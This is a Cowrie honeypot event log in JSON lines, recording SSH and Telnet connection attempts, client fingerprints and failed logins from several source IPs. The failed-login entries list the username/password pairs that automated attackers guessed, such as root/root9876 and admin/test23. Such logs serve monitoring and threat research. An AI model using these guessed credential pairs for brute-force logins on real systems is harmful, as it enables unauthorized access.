{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:04.626651Z","src_ip":"45.156.87.254","session":"be28c08ad12d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:04.953667Z","src_ip":"45.156.87.254","session":"be28c08ad12d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:06.044491Z","src_ip":"45.156.87.254","session":"be28c08ad12d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.447418689727783,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:07.904418Z","src_ip":"20.123.41.163","session":"10e1e4e0cca2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.55520153045654,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:09.604603Z","src_ip":"20.123.41.163","session":"bcc15ed4dc1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":41790,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcc1d9ffd5c2","protocol":"ssh","message":"New connection: 103.143.231.102:41790 (10.17.0.5:22) [session: fcc1d9ffd5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:18.441083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:18.445410Z","src_ip":"103.143.231.102","session":"fcc1d9ffd5c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:18.517659Z","src_ip":"103.143.231.102","session":"fcc1d9ffd5c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"welcome","message":"login attempt [user1/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:18.823244Z","src_ip":"103.143.231.102","session":"fcc1d9ffd5c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:19.895746Z","src_ip":"103.143.231.102","session":"fcc1d9ffd5c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.933210849761963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:22.758003Z","src_ip":"104.245.105.2","session":"be4394f516ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.12900233268738,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:24.684125Z","src_ip":"20.123.41.163","session":"9e860c194d65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43258,"dst_ip":"10.17.0.5","dst_port":23,"session":"590f8f043eb4","protocol":"telnet","message":"New connection: 104.245.105.2:43258 (10.17.0.5:23) [session: 590f8f043eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:34.885441Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":53526,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c3b74b3970c","protocol":"ssh","message":"New connection: 45.144.233.139:53526 (10.17.0.5:22) [session: 3c3b74b3970c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:41.576360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:41.581254Z","src_ip":"45.144.233.139","session":"3c3b74b3970c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:41.668823Z","src_ip":"45.144.233.139","session":"3c3b74b3970c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"3735566","message":"login attempt [user/3735566] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:42.052644Z","src_ip":"45.144.233.139","session":"3c3b74b3970c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43572,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac24a8d52081","protocol":"telnet","message":"New connection: 20.123.41.163:43572 (10.17.0.5:23) [session: ac24a8d52081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:42.671069Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:43.142011Z","src_ip":"45.144.233.139","session":"3c3b74b3970c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":42884,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f7492321e9a","protocol":"ssh","message":"New connection: 46.24.47.94:42884 (10.17.0.5:22) [session: 2f7492321e9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:48.489072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:48.493910Z","src_ip":"46.24.47.94","session":"2f7492321e9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:48.600489Z","src_ip":"46.24.47.94","session":"2f7492321e9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root9876","message":"login attempt [root/root9876] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:49.050240Z","src_ip":"46.24.47.94","session":"2f7492321e9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:10:50.158216Z","src_ip":"46.24.47.94","session":"2f7492321e9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35398,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8d7dc7228ce","protocol":"telnet","message":"New connection: 104.245.105.2:35398 (10.17.0.5:23) [session: c8d7dc7228ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:00.432512Z"}
{"eventid":"cowrie.session.closed","duration":30.319955825805664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:05.205266Z","src_ip":"104.245.105.2","session":"590f8f043eb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":60222,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e1190a1efd","protocol":"telnet","message":"New connection: 20.123.41.163:60222 (10.17.0.5:23) [session: 77e1190a1efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:14.976817Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":58370,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1c95e45809c","protocol":"ssh","message":"New connection: 103.143.231.102:58370 (10.17.0.5:22) [session: e1c95e45809c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:15.619471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:15.624036Z","src_ip":"103.143.231.102","session":"e1c95e45809c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:15.696084Z","src_ip":"103.143.231.102","session":"e1c95e45809c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test23","message":"login attempt [admin/test23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:16.013529Z","src_ip":"103.143.231.102","session":"e1c95e45809c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:17.087951Z","src_ip":"103.143.231.102","session":"e1c95e45809c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.49091839790344,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:22.161891Z","src_ip":"20.123.41.163","session":"ac24a8d52081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.402313947677612,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:26.379013Z","src_ip":"20.123.41.163","session":"77e1190a1efd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":44936,"dst_ip":"10.17.0.5","dst_port":22,"session":"731cad009f5c","protocol":"ssh","message":"New connection: 45.144.233.139:44936 (10.17.0.5:22) [session: 731cad009f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:29.557102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:29.560855Z","src_ip":"45.144.233.139","session":"731cad009f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:29.647308Z","src_ip":"45.144.233.139","session":"731cad009f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123qwe!@#","message":"login attempt [user/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:30.026345Z","src_ip":"45.144.233.139","session":"731cad009f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:31.116929Z","src_ip":"45.144.233.139","session":"731cad009f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.457833290100098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:31.890204Z","src_ip":"104.245.105.2","session":"c8d7dc7228ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51912,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94927976bd4","protocol":"telnet","message":"New connection: 104.245.105.2:51912 (10.17.0.5:23) [session: f94927976bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:11:42.170425Z"}
{"eventid":"cowrie.session.closed","duration":31.36837601661682,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:13.538687Z","src_ip":"104.245.105.2","session":"f94927976bd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":46718,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6b38a09c943","protocol":"ssh","message":"New connection: 103.143.231.102:46718 (10.17.0.5:22) [session: f6b38a09c943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:15.027184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:15.033942Z","src_ip":"103.143.231.102","session":"f6b38a09c943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:15.105656Z","src_ip":"103.143.231.102","session":"f6b38a09c943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mailadmin","message":"login attempt [root/mailadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:15.421767Z","src_ip":"103.143.231.102","session":"f6b38a09c943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:16.496298Z","src_ip":"103.143.231.102","session":"f6b38a09c943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":48904,"dst_ip":"10.17.0.5","dst_port":22,"session":"01a13e52b009","protocol":"ssh","message":"New connection: 45.144.233.139:48904 (10.17.0.5:22) [session: 01a13e52b009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:18.651764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:12:18.659672Z","src_ip":"45.144.233.139","session":"01a13e52b009","protocol":"ssh"}
